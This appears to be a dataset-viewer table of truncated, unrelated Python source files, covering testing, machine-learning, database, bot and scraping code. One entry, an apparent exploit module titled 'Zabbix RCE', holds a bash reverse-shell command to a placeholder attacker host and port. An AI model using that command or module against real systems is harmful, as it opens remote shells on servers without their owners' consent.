id stringlengths 3 8 | content stringlengths 100 981k |
|---|---|
469253 | import angr
class gethostbyname(angr.SimProcedure):
def run(self, name):
malloc = angr.SIM_PROCEDURES['libc']['malloc']
place = self.inline_call(malloc, 32).ret_expr
self.state.memory.store(place, self.state.solver.BVS('h_name', 64, key=('api', 'gethostbyname', 'h_name')), endness='Iend_LE'... |
469278 | import zmq
import time
import pytest
from queue import Queue
from threading import Thread, Event, Condition
from teos.chain_monitor import ChainMonitor, ChainMonitorStatus
from test.teos.conftest import generate_blocks, generate_blocks_with_delay
from test.teos.unit.conftest import get_random_value_hex, bitcoind_feed... |
469284 | import contextlib
import os
import dotenv
import mysql.connector
import reseval
def create(config):
"""Create a local MySQL database"""
# Load environment variables
dotenv.load_dotenv(reseval.ENVIRONMENT_FILE)
# Create connection
with connect() as (_, cursor):
# Create database
... |
469296 | import pytest
from ray.serve.utils import get_random_letters
from ray.serve.common import ReplicaName
def test_replica_tag_formatting():
deployment_tag = "DeploymentA"
replica_suffix = get_random_letters()
replica_name = ReplicaName(deployment_tag, replica_suffix)
assert replica_name.replica_tag == ... |
469302 | import subprocess
def test_script_help():
result = subprocess.run(
[
"coverage",
"run",
"-m",
"typer_cli",
"tests/assets/app_other_name.py",
"run",
"--help",
],
stdout=subprocess.PIPE,
stderr=subpro... |
469391 | import csv
import os
import unittest
import numpy as np
class TestCSV2RH(unittest.TestCase):
def setUp(self):
rng = np.random.RandomState(42)
self.path_to_csv = "test/test_files/utils/csv2rh/"
def _write2csv(self, fn, data):
path = os.path.join(self.path_to_csv, fn)
with ope... |
469394 | import logging
import os
import urllib.request
"""
This is a simple sample that downloads a json formatted address and writes the output to a directory
"""
class SampleProcess:
def __init__(self, uri="http://maps.googleapis.com/maps/api/geocode/json?address=google"):
self.uri = uri
@property
def... |
469399 | import json
from spacy.lang.es import Spanish
from spacy.tokens import Span
from spacy.matcher import PhraseMatcher
with open("exercises/es/countries.json", encoding="utf8") as f:
COUNTRIES = json.loads(f.read())
with open("exercises/es/capitals.json", encoding="utf8") as f:
CAPITALS = json.loads(f.read())
n... |
469424 | import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
import multiprocessing
from functools import partial
from pathlib import Path
import skimage.io
import scipy.ndimage as ndimage
import sys, os
sys.path.insert(1, os.path.join(sys.path[0], '../pytorch-mask-rcnn'))
from adriving_util import *
f... |
469429 | import numpy as np
import pandas as pd
import pytest
from gama.data_loading import (
arff_to_pandas,
X_y_from_file,
load_feature_metadata_from_file,
load_feature_metadata_from_arff,
sniff_csv_meta,
csv_to_pandas,
load_csv_header,
file_to_pandas,
)
NUMERIC_TYPES = [np.int, np.int32, np.... |
469448 | import os
import shutil
from test.utils import AbstractCatkinWorkspaceTest, TEMP_DIR, rosinstall, \
create_catkin_workspace
class AbstractUnstableTest(AbstractCatkinWorkspaceTest):
"""
Parent class for any Test case that download latest ros core
stacks from github to build custom stacks against that
... |
469454 | from pytgbot.exceptions import TgApiServerException
from somewhere import API_KEY, TEST_CHAT
import unittest
from luckydonaldUtils.logger import logging
from pytgbot.bot import Bot
from pytgbot.api_types.receivable.media import PhotoSize
from pytgbot.api_types.receivable.updates import Message
from pytgbot.api_types.s... |
469481 | from dynamo.tools.connectivity import _gen_neighbor_keys, check_and_recompute_neighbors, check_neighbors_completeness
from utils import *
import networkx as nx
import dynamo as dyn
import matplotlib.pyplot as plt
import numpy as np
def test_neighbors_subset(adata):
dyn.tl.neighbors(adata)
assert check_neighbo... |
469518 | def is_alphanumeric(word: str, valid_punctuation_marks: str = '-') -> bool:
"""
Check if a word contains only alpha-numeric
characters and valid punctuation marks.
Parameters
----------
word: `str`
The given word
valid_punctuation_marks: `str`
Punctuation marks that are val... |
469526 | from Globals import *
@block
def TextBox(clk, X, Y, Loc, TextColor, charLoc, char, charColor, OEn, Ram, Clear):
x, y,rowNum = (Signal(modbv(0)[WHb:]) for i in range(3))
clrCNT = Signal(modbv(0)[12:0])
@always_seq(clk.posedge, reset=None)
def Seq():
if (x[4:] == 0 and (x >> 4) < 64) an... |
469570 | import pytest
from saq.constants import *
from saq.indicators import Indicator, IndicatorList
from saq.tip import tip_factory
@pytest.mark.unit
def test_indicator_creation():
indicator = Indicator('test_type', 'test_value', status='test_status', tags=['test_tag1', 'test_tag2'])
assert indicator.type == 'tes... |
469580 | import os
from django.db.models import FilePathField
from django.test import SimpleTestCase
class FilePathFieldTests(SimpleTestCase):
def test_path(self):
path = os.path.dirname(__file__)
field = FilePathField(path=path)
self.assertEqual(field.path, path)
self.assertEqual(field.fo... |
469640 | from pngparser import PngParser
import sys
def remove_idats(png):
header = png.get_header()
img = png.get_image_data()
height = header.height
rows_count = len(img.scanlines)
print(f"[!] Height: {height}, real size: {rows_count}")
img.scanlines = img.scanlines[:height] # remove data out of... |
469645 | from pycparser import c_parser, c_ast, c_generator
from copy import deepcopy
def rename_function_calls():
pass
def remove_input_port(func_def, ele_name, inports):
func_def.decl.name = ele_name
func_def.decl.type.type.declname = ele_name
stmts = func_def.body.block_items
new_stmts = []
port2arg... |
469654 | import re
import subprocess
import os
import sublime
import sublime_plugin
import pprint
pp = pprint.PrettyPrinter(indent=4)
def debug_message(msg):
print("[ZSH] " + str(msg))
# Get the current selection range
def sel_start(sel):
return min(sel.a, sel.b)
def sel_end(sel):
return max(sel.a, sel.b)
# Retrieve comp... |
469668 | import numpy as np
from functools import partial
NG_EXACT = 'exact'
NG_BD = 'block_diagonal'
NG_BTD = 'block_tri_diagonal'
NG_KFAC = 'kfac'
__all__ = [
'init_ntk_mlp',
'forward_and_backward',
'empirical_kernel',
'gradient_mse',
'natural_gradient_mse',
'exact_natural_gradient_mse',
'block_wise_natural_g... |
469671 | import logging
from typing import Any, Dict, Optional
import aio_pika
import pjrpc
logger = logging.getLogger(__package__)
class Executor:
"""
`aio_pika <https://aio-pika.readthedocs.io/en/latest/>`_ based JSON-RPC server.
:param broker_url: broker connection url
:param queue_name: requests queue ... |
469688 | import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import torch.utils.data as data
import numpy as np
import torch
import torch.nn.utils.rnn as RNNUtils
import sys
import deepracing_models.math_utils as mu
import math
class VariationalCurvePredictor(nn.Module):
def __init__(self, in... |
469718 | from pytest_bdd import given, when, then, scenarios
from boofuzz import Request, Block, Byte
scenarios('block_original_value.feature')
@given('A Block with contents')
def request_one_block(context):
request = Request(name="unit-test-request")
block = Block(name="unit-test-block", request=request)
reque... |
469731 | import datetime
import pandas as pd
from ast import literal_eval
def invert_oracle_sense(oracle):
def inverted_oracle(lambda_k):
x_k, d_k, diff_d_k = oracle(lambda_k)
return x_k, -d_k, -diff_d_k
return inverted_oracle
def record_logger(logger, filename=r'logger_record.csv'):
""" Record... |
469744 | import six
if six.PY3:
import unittest
else:
import unittest2 as unittest
from depsolver.package \
import \
PackageInfo
from depsolver.pool \
import \
Pool
from depsolver.repository \
import \
Repository
from depsolver.requirement \
import \
Requirement
from de... |
469750 | import re
import time
import mimetypes
from werkzeug.exceptions import BadRequest, RequestEntityTooLarge
from flask import current_app
try:
import magic as magic_module
magic = magic_module.Magic(mime=True)
magic_bufsz = magic.getparam(magic_module.MAGIC_PARAM_BYTES_MAX)
except ImportError:
magic = No... |
469780 | from strictdoc.core.level_counter import LevelCounter
def test_01():
level_counter = LevelCounter()
assert level_counter.get_string() == ""
level_counter.adjust(1)
assert level_counter.get_string() == "1"
level_counter.adjust(1)
assert level_counter.get_string() == "2"
level_counter.adj... |
469800 | import os
from kipoi_utils.data_utils import get_dataset_item, numpy_collate_concat
from kipoi_utils.utils import unique_list
import keras.backend as K
import matplotlib.ticker as ticker
from bpnet.functions import softmax
from genomelake.extractors import FastaExtractor
from keras.models import load_model
from collect... |
469816 | PROGRAMS = [ { 'desc': 'A time-based quiz game to see how fast you can alphabetize letters.\nTags: short, game, word\n',
'filename': 'alphabetizequiz.py',
'hash': 1042153501,
'name': 'Alphabetize Quiz'},
{ 'desc': 'A deductive logic game where you must guess a number based on clues.\n'... |
469818 | from core.utils import *
import logging
import urllib.parse as urllib
# NOTE
# Require `EnableRemoteCommands = 1` on the Zabbix service
name = "zabbix"
description = "Zabbix RCE"
author = "Swissky"
documentation = []
class exploit():
cmd = "bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1"
... |
469851 | import logging
from typing import Type, Union
from modelforge.model import Model
from modelforge.storage_backend import StorageBackend
__models__ = set()
def register_model(cls: Type[Model]):
"""
Include the given model class into the registry.
:param cls: The class of the registered model.
:return... |
469938 | from eventsourcing.infrastructure.event_sourced_repo import EventSourcedRepository
from quantdsl.domain.model.market_simulation import MarketSimulation, MarketSimulationRepository
class MarketSimulationRepo(MarketSimulationRepository, EventSourcedRepository):
domain_class = MarketSimulation
|
469960 | import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
class TripletLossFilter(nn.Module):
"""Triplet loss with hard positive/negative mining.
Reference:
Hermans et al. In Defense of the Triplet Loss for Person Re-Identification. arXiv:1703.07737.
Code imported from htt... |
469977 | import logging
from fastapi import HTTPException, Depends, Request
from contextlib import contextmanager
from redis import RedisError
from redis_rate_limit import RateLimiter, TooManyRequests
from idunn.utils.redis import get_redis_pool, RedisNotConfigured
from idunn import settings
logger = logging.getLogger(__name__... |
470024 | import pdb
import cv2
import numpy as np
import random
import os
from utils import game_util
from utils import drawing
import constants
class PersonGameState(object):
def __init__(self):
self.env = game_util.create_env()
self.env.step({'action': 'Initialize', 'gridSize': constants.AGENT_STEP_SIZE... |
470052 | import copy
import json
import logging
from collections.abc import Mapping
from dataclasses import FrozenInstanceError, asdict, dataclass, field, is_dataclass, replace
from os.path import isfile
from typing import List, Optional, Union
from .adapter_utils import AdapterType, get_adapter_config_hash, resolve_ad... |
470066 | import os
import pytest
import pandas as pd
from unittest.mock import patch
from pyrestcli.exceptions import ServerErrorException
from cartoframes.auth import Credentials
from cartoframes.data.observatory.catalog.entity import CatalogList
from cartoframes.data.observatory.catalog.geography import Geography
from cart... |
470077 | from braces.views import LoginRequiredMixin
from django.core.exceptions import PermissionDenied
from django.views.generic import View
from guardian.shortcuts import get_perms
def has_perms(user, perms, obj=None, required_all=True):
if obj:
perms_obj = get_perms(user, obj)
tests = [perm in perms_ob... |
470084 | from pathlib import Path
import pytest
from aiohttp import web
from pyrsistent import pmap
from rororo import OperationTableDef, setup_openapi
from rororo.openapi.constants import HANDLER_OPENAPI_MAPPING_KEY
from rororo.openapi.exceptions import ConfigurationError
ROOT_PATH = Path(__file__).parent
OPENAPI_JSON_PAT... |
470094 | import inspect
def AssignMemberVariablesFromParameters(exclude=None, onlyInclude=None):
"""Assign member variables in the caller's object from the caller's parameters.
The caller should be a method associated with an object. Keyword arguments
are supported, but variable arguments are not since they don't ... |
470142 | import numpy as np
## define zigzag
def find_loopout_regions(zxys, region_ids=None,
method='neighbor', dist_th=1500,
neighbor_region_num=5):
"""Function to find loopout, or zig-zag features within chromosomes.
Inputs:
Outputs:
"""
# convert i... |
470162 | from __future__ import print_function
import numpy as np
from ..tools.classifiertools import to_onehot
class Generator(object):
def __init__(
self,
preprocessor,
segment_ids,
n_classes,
train=True,
batch_size=16,
shuffle=False,
):
self.preproces... |
470240 | import sys
if sys.version_info < (3, 0):
reload(sys) # noqa: F821
sys.setdefaultencoding("utf-8")
|
470243 | import os
import math
import numpy as np
from torchvision import transforms
from torch.utils.data import DataLoader
from torch.utils.data.sampler import SubsetRandomSampler
from src.utils import args
from .datasets import CIFAR10, CelebA, Imagenette, ImageNet32, ImageNet64
ROOT = './data_root/'
# ----- Dataset Sp... |
470251 | from logging import getLogger
import numpy as np
from sklearn.model_selection import cross_val_score
from ...utils import generate_features, BaseWrapper
class RecursiveElimination(BaseWrapper):
"""Recursive feature elimination algorithm.
Parameters
----------
estimator : object
A supervised... |
470281 | def fact(n):
if (n == 1):
return n;
else:
return n*fact(n-1);
test = int(input())
for i in range (0,test):
val = int(input())
print(fact(val))
##Example Test Case
# Sample input:
# 4
# 1
# 2
# 5
# 3
# Sample output:
#
# 1
# 2
# 120
# 6
|
470282 | import aiohttp
import json
from random import choice, choices, randint, sample
from discord import File
from discord.ext import commands
from discord.utils import get
class Verification(commands.Cog):
# Closer the number approaches 1, the more often the word list will be refreshed. Linear
def __init__(self, bot):... |
470298 | import tensorflow as tf
import time
"""
We employ a residual connection around each of the two sub-layers, followed by layer normalization.
That is, the output of each sub-layer is LayerNorm(x+ Sublayer(x)), where Sublayer(x) is the function implemented by the sub-layer itself. """
class LayerNormResidualConnection(obj... |
470317 | from onnxruntime.capi import _pybind_state as C
import threading
from functools import wraps
def run_once_aten_op_executor(f):
"""
Decorator to run a function only once.
:param f: function to be run only once during execution time despite the number of calls
:return: The original function with the pa... |
470407 | import FWCore.ParameterSet.Config as cms
from L1TriggerConfig.DTTPGConfigProducers.L1DTConfigFromDB_cfi import *
|
470425 | from monosat import *
import functools
import math
import os
import random
import random
import sys
print("Generate random 0-1 diophantine equation")
seed = random.randint(1,100000)
random.seed(seed)
print("RandomSeed=" + str(seed))
bitwidth=8
n_equations=3
n_vars=3
max_co = 10
vars=[]
for i in range(n_vars):
... |
470430 | import sys, os, argparse
from OpenGL.GL.SUN import vertex
from tk3dv.extern.binvox import binvox_rw
from tk3dv.common import drawing
import tk3dv.nocstools.datastructures as ds
from PyQt5.QtWidgets import QApplication
import PyQt5.QtCore as QtCore
from PyQt5.QtGui import QKeyEvent, QMouseEvent, QWheelEvent
import num... |
470432 | import random
from multiprocessing.pool import ThreadPool
from desktop_local_tests.dns_helper import DNSHelper
from desktop_local_tests.local_test_case import LocalTestCase
from xv_leak_tools.exception import XVEx
from xv_leak_tools.log import L
class TestDNSVanillaAggressive(LocalTestCase):
'''Summary:
Te... |
470442 | from ..peer import Peer
class FormUpdate:
def __init__(self, json_object):
self.update_id = json_object.get("updateId")
self.form_id = json_object.get("formId")
self.dialog = Peer(json_object.get("dialog"))
self.sender = Peer(json_object.get("sender"))
@property
def chat(s... |
470458 | import torch.nn as nn
import numpy as np
from unet import UNet
class XTYTUNet(nn.Module):
"""
Create a XT,YT U-Net
the network is used to process a 2D cine MR image of shape
(1,2,Nx,Ny,Nt)
the CNN first "rotates" the sample to the xt- and the yt-view,
then applies a U-Net on the spatio-temporal slices a... |
470463 | import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="audax",
version="0.0.4",
author='<NAME>',
description="audio ML for Jax",
long_description=long_description,
long_description_content_type="text/markdown",
url="h... |
470507 | import renderdoc as rd
import rdtest
class D3D12_Render_Pass(rdtest.TestCase):
demos_test_name = 'D3D12_Render_Pass'
def check_capture(self):
rp1 = self.find_action("RP 1")
rp2 = self.find_action("RP 2")
action = next(d for d in rp1.children if d.flags & rd.ActionFlags.Drawcall)
... |
470521 | from django.contrib import admin
from councilmatic.subscriptions import models
#class KeywordInline(admin.StackedInline):
# model = KeywordSubscription
# extra = 3
#class CouncilmemberInline(admin.StackedInline):
# model = CouncilMemberSubscription
# extra = 3
#class SubscriptionAdmin(admin.ModelAdmin):
... |
470531 | from collections import OrderedDict
import numpy as np
import plaidml
import plaidml.tile as tile
import plaidml.keras
plaidml.keras.install_backend()
import keras.backend as K
class SandboxOp(tile.Operation):
def __init__(self, code, a, b, output_shape):
super(SandboxOp, self).__init__(code, [('A', a), ... |
470562 | import math
import pyqtgraph
from pyqtgraph.Qt import QtCore, QtGui
class StdHitOffsets():
def run(self, replay=None):
replay_idx = 0 if replay==None else replay
self.__init_gui_elements(replay_idx)
self.__construct_gui()
self.__set_data(replay_idx)
self.win.show()
... |
470585 | import numpy as np
from rpn.utils.torch_utils import to_tensor, to_numpy
import torch
try:
from torch_geometric.data import Data, batch
except ImportError as e:
print('Warning: cannot import torch_geometric. This does not affect the core functionality of this repo.')
def add_supernodes(node_index, edge_index... |
470594 | import pytest
from mage.node2vec_online_module.w2v_learners import GensimWord2Vec
EMBEDDINGS_DIM = 2
INCORRECT_NEGATIVE_RATE = -1
@pytest.fixture
def w2v_learner():
return GensimWord2Vec(
embedding_dimension=EMBEDDINGS_DIM,
learning_rate=0.01,
skip_gram=True,
negative_rate=0,
... |
470626 | from bitmovin_api_sdk.encoding.outputs.s3_role_based.s3_role_based_api import S3RoleBasedApi
from bitmovin_api_sdk.encoding.outputs.s3_role_based.customdata.customdata_api import CustomdataApi
from bitmovin_api_sdk.encoding.outputs.s3_role_based.s3_role_based_output_list_query_params import S3RoleBasedOutputListQueryPa... |
470670 | import os
from datetime import timedelta
DATABASE_URI = os.environ["DATABASE_URI"]
ENCRYPTION_KEY = os.environ["ENCRYPTION_KEY"]
BIND_HOST = os.environ.get("BIND_HOST", "localhost")
BIND_PORT = int(os.environ.get("BIND_PORT", "80"))
SCHEDULE_INTERVAL = timedelta(
seconds=int(os.environ.get("SHEDULE_INTERVAL_SECO... |
470726 | from collections import deque
class Solution:
def deckRevealedIncreasing(self, deck: List[int]) -> List[int]:
d = deque()
for x in sorted(deck)[::-1]:
d.rotate()
d.appendleft(x)
return list(d)
|
470737 | from server.util.tags import COLLECTION_SET_PARTISANSHIP_QUINTILES_2019
from server.util.csv import SOURCE_LIST_CSV_METADATA_PROPS
SOURCE_LIST_CSV_EDIT_PROPS = ['media_id', 'url', 'name'] + \
SOURCE_LIST_CSV_METADATA_PROPS + \
['public_notes', 'editor_notes', '... |
470742 | import os
import torch
import numpy as np
import matplotlib.pyplot as plt
from main import Network
if __name__ == '__main__':
# within the network are not only the weights, but also the convergence history
network = torch.load('../data/english_full/latest_weights')
current_path = os.path.dirname(os.path.r... |
470744 | import os
import numpy as np
from gym import spaces, utils
from mjrl.envs import mujoco_env
from mujoco_py import MjViewer
from d4rl import offline_env
ADD_BONUS_REWARDS = True
class RelocateEnvV0(mujoco_env.MujocoEnv, utils.EzPickle, offline_env.OfflineEnv):
def __init__(self, **kwargs):
offline_env.O... |
470753 | import sys
sys.path.append("/workdata/pygdsm")
import pylab as plt
import healpy as hp
from datetime import datetime
from pygdsm import HaslamSkyModel, HaslamObserver, GSMObserver
def test_compare_gsm_to_old():
gl = HaslamSkyModel(freq_unit='MHz')
dl = gl.generate(408)
gl.view()
import pylab as pl... |
470754 | import cv2
import sys, json
import argparse
from xml.dom import minidom
import numpy as np
import os
new_jsons = 'newjsons'
for p in [new_jsons]:
if not os.path.exists(p):
os.makedirs(p)
ap = argparse.ArgumentParser()
ap.add_argument('-t', '--path_annotation_jsons', required=True, help = 'path to imgs with anno... |
470758 | import json
import sys
import six
from six.moves.urllib_parse import urlparse
class Request:
def __init__(self, raw_json):
self.headers = raw_json['headers']
self.method = raw_json['method']
self.body = raw_json['body']
self.url = raw_json['url']
self.ip = raw_json['remote... |
470775 | import hashlib
import hmac as _hmac
from flask import current_app
from itsdangerous import Signer
from itsdangerous.exc import ( # noqa: F401
BadSignature,
BadTimeSignature,
SignatureExpired,
)
from itsdangerous.url_safe import URLSafeTimedSerializer
from CTFd.utils import string_types
def serialize(da... |
470777 | from django.db import models
from django.contrib.auth.backends import UserModel
class TblClass(models.Model):
name = models.CharField(max_length=100, help_text="班级名称")
tag = models.CharField(max_length=100, unique=True, help_text="标签")
# null=True 数据库中可以为空 blank=True 在表单中可以为空
descriptio... |
470785 | import os
from metaflow import FlowSpec, step, Parameter, S3, profile, parallel_map
URL = 's3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623488519735.70/wet/'
def load_s3(s3, num):
files = list(s3.list_recursive([URL]))[:num]
total_size = sum(f.size for f in files) / 1024**3
stats = {}
with pr... |
470801 | import os
import pytest
from six import text_type
from leapp.libraries.actor import checksendmail
@pytest.mark.parametrize('test_input,migrate', [
('IPv6:::1\n', True),
('IPv6:0:0:0:0:0:0:0:1\n', False),
])
def test_check_migration(tmpdir, monkeypatch, test_input, migrate):
test_cfg_path = text_type(tmp... |
470806 | from concurrent import futures
import time
import grpc
import logging
logging.basicConfig(format='%(asctime)s,%(msecs)d %(levelname)-8s [%(filename)s:%(lineno)d] %(message)s', datefmt='%Y-%m-%d:%H:%M:%S', level=logging.DEBUG)
import temperature_bands_pb2
import temperature_bands_pb2_grpc
_ONE_DAY_IN_SECONDS = 60 * 60 ... |
470809 | import numpy as np
import six
from chainercv.utils.testing.assertions.assert_is_image import assert_is_image
from chainercv.utils.testing.assertions.assert_is_point import assert_is_point
def assert_is_point_dataset(dataset, n_point=None, n_example=None,
no_visible=False):
"""Checks i... |
470819 | import pandas as pd
from odin.strategy.indicators import MovingAverage as MA
from odin.utilities.mixins.strategy_mixins import (
LongStrategyMixin,
EqualBuyProportionMixin,
TotalSellProportionMixin,
DefaultPriorityMixin,
NeverSellIndicatorMixin
)
class MovingAverageCrossoverStrategy(
LongStra... |
470844 | import matplotlib.pyplot as plt
import mxnet as mx
if __name__ == '__main__':
image = 'ILSVRC2012_val_00000008.JPEG'
image_name = image.split(".")[0]
image_string = open('../image/{}'.format(image), 'rb').read()
data = mx.image.imdecode(image_string, flag=1)
plt.imshow(data.asnumpy())
plt.savef... |
470845 | from git_remote_dropbox.constants import DEVNULL
import subprocess
import zlib
EMPTY_TREE_HASH = '4b825dc642cb6eb9a060e54bf8d69288fbee4904'
def command_output(*args, **kwargs):
"""
Return the result of running a git command.
"""
args = ('git',) + args
output = subprocess.check_output(args, stde... |
470867 | import json
import boto3
import requests
from textblob import TextBlob
from ConfigParser import SafeConfigParser
from twitter import Twitter, OAuth, TwitterHTTPError, TwitterStream
# Read the Config File to get the twitter keys and tokens
config = SafeConfigParser()
config.read('twitter-rekognition.config')
# Create ... |
470902 | from matplotlib.ticker import FormatStrFormatter
from phi.backend.base import load_tensorflow
from phi.solver.cuda.cuda import CudaPressureSolver
from phi.solver.sparse import SparseCGPressureSolver
import matplotlib.pyplot as plt
from phi.solver.cuda.benchmarks.benchmark_utils import *
cudaSolver = CudaPressureSolve... |
470903 | import pygame as pg
import numpy as np
from numba import njit
def main():
pg.init()
pg.display.set_caption("Dead and - A Python game by FinFET, thanks for playing!")
font = pg.font.SysFont("Courier New", 70)
sounds = load_sounds()
m_vol, sfx_vol, music = 0.4, 0.5, 0
set_volume(m_vol, sfx_v... |
470944 | def parse_yaml(input_file):
"""Parse yaml file of configuration parameters."""
with open(input_file, "r") as yaml_file:
params = yaml.load(yaml_file)
return params
params = parse_yaml("preprocess_config.yaml")
ROOT = params["dirs"]["root"]
DATASET = os.path.join(ROOT, params["dirs"]["dataset"])
... |
470951 | import typing as t
from datetime import date, datetime, timedelta
from django.conf import settings
from django.db import models
from django.db.models.expressions import ExpressionWrapper as E
from django.utils import timezone
from django_fsm import FSMIntegerField, can_proceed, transition
from django_fsm_log.decorator... |
470958 | import requests
from bs4 import BeautifulSoup
# this code will scrap data of the date entered by the user..
print ("enter the date in DD/MM/YYYY")
date = raw_input()
day = date[:2]
month = date[3:-5]
year = date[-4:]
#you can make the link dynamic by iterating it into for loop
r = requests.get('http://www.business-s... |
470985 | from resolwe.flow.models import Data
from resolwe.test import tag_process
from resolwe_bio.utils.test import BioProcessTestCase
class CutAndRunTestCase(BioProcessTestCase):
@tag_process("workflow-cutnrun")
def test_cutnrun(self):
species = "Homo sapiens"
build = "custom_build"
with s... |
470993 | import unittest
from aggregate.sequence_labeling import get_statistics as get_statistics_sl
from aggregate.text_classification import get_statistics as get_statistics_tc
from aggregate.text_matching import get_statistics as get_statistics_tm
from datalabs import load_dataset
class MyTestCase(unittest.TestCase):
... |
471044 | from ft5406 import Touchscreen, TS_PRESS, TS_RELEASE, TS_MOVE
ts = Touchscreen()
def touch_handler(event, touch):
if event == TS_PRESS:
print("Got Press", touch)
if event == TS_RELEASE:
print("Got release", touch)
if event == TS_MOVE:
print("Got move", touch)
for touch in ts.touch... |
471060 | import torch
import torch.nn as nn
from models.utils import create_mlp_components
__all__ = ['CenterRegressionNet']
class CenterRegressionNet(nn.Module):
blocks = (128, 128, 256)
def __init__(self, num_classes=3, width_multiplier=1):
super().__init__()
self.in_channels = 3
self.num_... |
471086 | from typing import Tuple
from .rect import Rect, union_all
from ..rtree import EntryDivision
class EntryDistribution:
"""
Represents a distribution of entries into two groups, where the order of entries in each group is not relevant.
This class is similar to the EntryDivision type alias, but contains addi... |
471110 | import logging
import os
import time
from pykit import fsutil
logger = logging.getLogger(__name__)
class ParseLogError(Exception):
pass
def build_entry(context, log_name, file_name, log_str, log_conf):
log_entry = {
'log_name': log_name,
'log_file': file_name,
'content': log_str,
... |
471131 | from typing import List, Optional
from uuid import uuid4
import datetime
import logging
from dispatch.incident import service as incident_service
from dispatch.individual import service as individual_service
from .models import Event, EventCreate, EventUpdate
logger = logging.getLogger(__name__)
def get(*, db_ses... |
471161 | import regex
import logging
def normalize_date(date, id_, start, end):
""" Normalizes different dates encountered in the clinical notes.
Current accepted formats:
28 Feb 2913 04:50
Thu 28 Feb 2013 04:50
28-Feb-2013 04:50
Output:
28 Feb 2013 04:50
"""
if '-' in date... |
471172 | from utils.bert import bert_utils
from utils.bert import bert_modules
import numpy as np
import collections
import copy
import json
import math
import re
import six
import tensorflow as tf
from loss import loss_utils
from loss.entfox import sparse_entmax15_loss_with_logits, entmax15_loss_with_logits
def check_tf_ver... |
471190 | import os
from polyswarmclient.corpus import DownloadToFileSystemCorpus
def test_download_truth_artifact():
pass
# d = DownloadToFileSystemCorpus()
# t = d.download_truth()
# assert os.path.exists(d.truth_db_pth)
def test_download_raw_artifacts():
pass
# d = DownloadToFileSystemCorpus()
... |
471238 | from simulation.speedLimits import *
from simulation.trafficGenerators import *
maxFps= 40
size = width, heigth = 1280, 720
# in miliseconds
updateFrame = 500
seed = None
lanes = 3
length = 300
maxSpeed = 5
speedLimits = [ SpeedLimit(range=((150,0),(300,0)), limit=0, ticks=0), SpeedLimit(range=((220, 2), (300,2))... |
471272 | import importlib
from admino.serializers import FormSerializer
from django.forms import BaseForm
from django.utils.functional import Promise
from django.utils.encoding import force_unicode
def import_from_string(module_path):
"""
Attempt to import a class from a string representation.
"""
try:
... |
471284 | import pdb
import tensorflow as tf
import time
import numpy as np
import os
import math
from utilities import predict
def Rop(f, weights, v):
"""Implementation of R operator
Args:
f: any function of weights
weights: list of tensors.
v: vector for right multiplication
Returns:
Jv: Jaccobian vector product, l... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.